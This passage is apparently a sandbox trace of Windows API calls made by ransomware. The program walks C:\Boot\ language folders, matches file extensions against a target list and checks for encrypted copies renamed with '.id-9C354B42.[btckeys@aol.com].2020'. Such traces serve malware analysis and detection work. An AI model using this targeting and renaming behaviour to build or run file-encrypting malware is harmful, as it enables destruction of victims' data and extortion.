(lpString=".pdf") returned 4 [0061.029] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.029] lstrlenW (lpString=".xls") returned 4 [0061.029] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.029] lstrlenW (lpString=".xlsx") returned 5 [0061.029] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.029] lstrlenW (lpString=".ppt") returned 4 [0061.030] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.030] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.030] lstrlenW (lpString=".zip") returned 4 [0061.030] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.030] lstrlenW (lpString=".rar") returned 4 [0061.030] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.030] lstrlenW (lpString=".bz2") returned 4 [0061.030] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.030] lstrlenW (lpString=".7z") returned 3 [0061.030] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.030] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.030] lstrlenW (lpString=".dbf") returned 4 [0061.030] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.030] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.030] lstrlenW (lpString=".1cd") returned 4 [0061.030] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.030] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.030] lstrlenW (lpString=".jpg") returned 4 [0061.030] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.030] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.030] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.030] lstrlenW (lpString=".doc") returned 4 [0061.030] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.030] lstrlenW (lpString=".docx") returned 5 [0061.030] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.030] lstrlenW (lpString=".pdf") returned 4 [0061.030] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.030] lstrlenW (lpString=".xls") returned 4 [0061.030] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.031] lstrlenW (lpString=".xlsx") returned 5 [0061.031] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.031] lstrlenW (lpString=".ppt") returned 4 [0061.031] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.031] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.031] lstrlenW (lpString=".zip") returned 4 [0061.031] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.031] lstrlenW (lpString=".rar") returned 4 [0061.031] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.031] lstrlenW (lpString=".bz2") returned 4 [0061.031] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.031] lstrlenW (lpString=".7z") returned 3 [0061.031] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.031] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.031] lstrlenW (lpString=".dbf") returned 4 [0061.031] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.031] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.031] lstrlenW (lpString=".1cd") returned 4 [0061.031] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.031] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.031] lstrlenW (lpString=".jpg") returned 4 [0061.031] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.031] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.031] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.031] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.032] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=87616) returned 1 [0061.032] CloseHandle (hObject=0x168) returned 1 [0061.032] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0061.032] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.032] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.032] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.032] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.032] lstrlenW (lpString=".doc") returned 4 [0061.032] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.032] lstrlenW (lpString=".docx") returned 5 [0061.032] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.032] lstrlenW (lpString=".pdf") returned 4 [0061.032] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.032] lstrlenW (lpString=".xls") returned 4 [0061.033] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.033] lstrlenW (lpString=".xlsx") returned 5 [0061.033] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.033] lstrlenW (lpString=".ppt") returned 4 [0061.033] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.033] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.033] lstrlenW (lpString=".zip") returned 4 [0061.033] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.033] lstrlenW (lpString=".rar") returned 4 [0061.033] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.033] lstrlenW (lpString=".bz2") returned 4 [0061.033] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.033] lstrlenW (lpString=".7z") returned 3 [0061.033] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.033] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.033] lstrlenW (lpString=".dbf") returned 4 [0061.033] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.033] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.033] lstrlenW (lpString=".1cd") returned 4 [0061.033] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.033] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.033] lstrlenW (lpString=".jpg") returned 4 [0061.033] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.033] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.033] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.033] lstrlenW (lpString=".doc") returned 4 [0061.033] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.033] lstrlenW (lpString=".docx") returned 5 [0061.033] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.034] lstrlenW (lpString=".pdf") returned 4 [0061.034] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.034] lstrlenW (lpString=".xls") returned 4 [0061.034] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.034] lstrlenW (lpString=".xlsx") returned 5 [0061.034] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.034] lstrlenW (lpString=".ppt") returned 4 [0061.034] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.034] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.034] lstrlenW (lpString=".zip") returned 4 [0061.034] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.034] lstrlenW (lpString=".rar") returned 4 [0061.034] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.034] lstrlenW (lpString=".bz2") returned 4 [0061.034] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.034] lstrlenW (lpString=".7z") returned 3 [0061.034] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.034] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.034] lstrlenW (lpString=".dbf") returned 4 [0061.034] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.034] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.034] lstrlenW (lpString=".1cd") returned 4 [0061.034] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.034] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.034] lstrlenW (lpString=".jpg") returned 4 [0061.034] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.035] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.035] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.035] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.035] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=91712) returned 1 [0061.035] CloseHandle (hObject=0x168) returned 1 [0061.035] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0061.035] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.035] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.035] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.035] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.035] lstrlenW (lpString=".doc") returned 4 [0061.035] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.036] lstrlenW (lpString=".docx") returned 5 [0061.036] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.036] lstrlenW (lpString=".pdf") returned 4 [0061.036] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.036] lstrlenW (lpString=".xls") returned 4 [0061.036] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.036] lstrlenW (lpString=".xlsx") returned 5 [0061.036] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.036] lstrlenW (lpString=".ppt") returned 4 [0061.036] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.036] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.036] lstrlenW (lpString=".zip") returned 4 [0061.036] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.036] lstrlenW (lpString=".rar") returned 4 [0061.036] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.036] lstrlenW (lpString=".bz2") returned 4 [0061.036] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.036] lstrlenW (lpString=".7z") returned 3 [0061.036] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.036] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.036] lstrlenW (lpString=".dbf") returned 4 [0061.036] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.036] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.036] lstrlenW (lpString=".1cd") returned 4 [0061.036] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.036] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.036] lstrlenW (lpString=".jpg") returned 4 [0061.036] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.037] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.037] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.037] lstrlenW (lpString=".doc") returned 4 [0061.037] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.037] lstrlenW (lpString=".docx") returned 5 [0061.037] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.037] lstrlenW (lpString=".pdf") returned 4 [0061.037] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.037] lstrlenW (lpString=".xls") returned 4 [0061.037] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.037] lstrlenW (lpString=".xlsx") returned 5 [0061.037] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.037] lstrlenW (lpString=".ppt") returned 4 [0061.037] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.037] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.037] lstrlenW (lpString=".zip") returned 4 [0061.037] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.037] lstrlenW (lpString=".rar") returned 4 [0061.037] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.037] lstrlenW (lpString=".bz2") returned 4 [0061.037] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.037] lstrlenW (lpString=".7z") returned 3 [0061.037] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.037] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.037] lstrlenW (lpString=".dbf") returned 4 [0061.037] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.037] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.037] lstrlenW (lpString=".1cd") returned 4 [0061.037] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.037] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.038] lstrlenW (lpString=".jpg") returned 4 [0061.038] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.038] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.038] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.038] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.038] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=94800) returned 1 [0061.038] CloseHandle (hObject=0x168) returned 1 [0061.038] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0061.038] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.038] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.039] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.039] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.039] lstrlenW (lpString=".doc") returned 4 [0061.039] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.039] lstrlenW (lpString=".docx") returned 5 [0061.039] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.039] lstrlenW (lpString=".pdf") returned 4 [0061.039] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.039] lstrlenW (lpString=".xls") returned 4 [0061.039] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.039] lstrlenW (lpString=".xlsx") returned 5 [0061.039] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.039] lstrlenW (lpString=".ppt") returned 4 [0061.039] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.039] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.039] lstrlenW (lpString=".zip") returned 4 [0061.039] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.040] lstrlenW (lpString=".rar") returned 4 [0061.040] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.040] lstrlenW (lpString=".bz2") returned 4 [0061.040] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.040] lstrlenW (lpString=".7z") returned 3 [0061.040] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.040] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.040] lstrlenW (lpString=".dbf") returned 4 [0061.040] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.040] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.040] lstrlenW (lpString=".1cd") returned 4 [0061.040] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.040] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.040] lstrlenW (lpString=".jpg") returned 4 [0061.040] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.040] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.040] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.040] lstrlenW (lpString=".doc") returned 4 [0061.040] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.040] lstrlenW (lpString=".docx") returned 5 [0061.040] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.040] lstrlenW (lpString=".pdf") returned 4 [0061.040] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.040] lstrlenW (lpString=".xls") returned 4 [0061.040] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.040] lstrlenW (lpString=".xlsx") returned 5 [0061.040] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.040] lstrlenW (lpString=".ppt") returned 4 [0061.040] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.041] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.041] lstrlenW (lpString=".zip") returned 4 [0061.041] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.041] lstrlenW (lpString=".rar") returned 4 [0061.041] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.041] lstrlenW (lpString=".bz2") returned 4 [0061.041] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.041] lstrlenW (lpString=".7z") returned 3 [0061.041] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.041] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.041] lstrlenW (lpString=".dbf") returned 4 [0061.041] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.041] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.041] lstrlenW (lpString=".1cd") returned 4 [0061.041] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.041] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.041] lstrlenW (lpString=".jpg") returned 4 [0061.041] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.041] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.041] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.041] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.042] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=85056) returned 1 [0061.042] CloseHandle (hObject=0x168) returned 1 [0061.042] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0061.042] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.042] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.042] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.042] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.042] lstrlenW (lpString=".doc") returned 4 [0061.042] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.042] lstrlenW (lpString=".docx") returned 5 [0061.042] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.042] lstrlenW (lpString=".pdf") returned 4 [0061.042] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.042] lstrlenW (lpString=".xls") returned 4 [0061.042] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.042] lstrlenW (lpString=".xlsx") returned 5 [0061.042] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.043] lstrlenW (lpString=".ppt") returned 4 [0061.043] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.043] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.043] lstrlenW (lpString=".zip") returned 4 [0061.043] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.043] lstrlenW (lpString=".rar") returned 4 [0061.043] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.043] lstrlenW (lpString=".bz2") returned 4 [0061.043] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.043] lstrlenW (lpString=".7z") returned 3 [0061.043] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.043] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.043] lstrlenW (lpString=".dbf") returned 4 [0061.043] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.043] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.043] lstrlenW (lpString=".1cd") returned 4 [0061.043] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.043] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.043] lstrlenW (lpString=".jpg") returned 4 [0061.043] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.043] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.043] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.043] lstrlenW (lpString=".doc") returned 4 [0061.043] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.043] lstrlenW (lpString=".docx") returned 5 [0061.043] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.043] lstrlenW (lpString=".pdf") returned 4 [0061.043] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.043] lstrlenW (lpString=".xls") returned 4 [0061.044] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.044] lstrlenW (lpString=".xlsx") returned 5 [0061.044] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.044] lstrlenW (lpString=".ppt") returned 4 [0061.044] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.044] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.044] lstrlenW (lpString=".zip") returned 4 [0061.044] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.044] lstrlenW (lpString=".rar") returned 4 [0061.044] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.044] lstrlenW (lpString=".bz2") returned 4 [0061.044] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.044] lstrlenW (lpString=".7z") returned 3 [0061.044] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.044] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.044] lstrlenW (lpString=".dbf") returned 4 [0061.044] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.044] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.044] lstrlenW (lpString=".1cd") returned 4 [0061.044] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.044] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.044] lstrlenW (lpString=".jpg") returned 4 [0061.044] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.044] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.044] lstrlenW (lpString="memtest.exe.mui") returned 15 [0061.045] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.045] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=43600) returned 1 [0061.045] CloseHandle (hObject=0x168) returned 1 [0061.045] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0061.045] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.045] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.045] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.045] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.045] lstrlenW (lpString=".doc") returned 4 [0061.045] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.045] lstrlenW 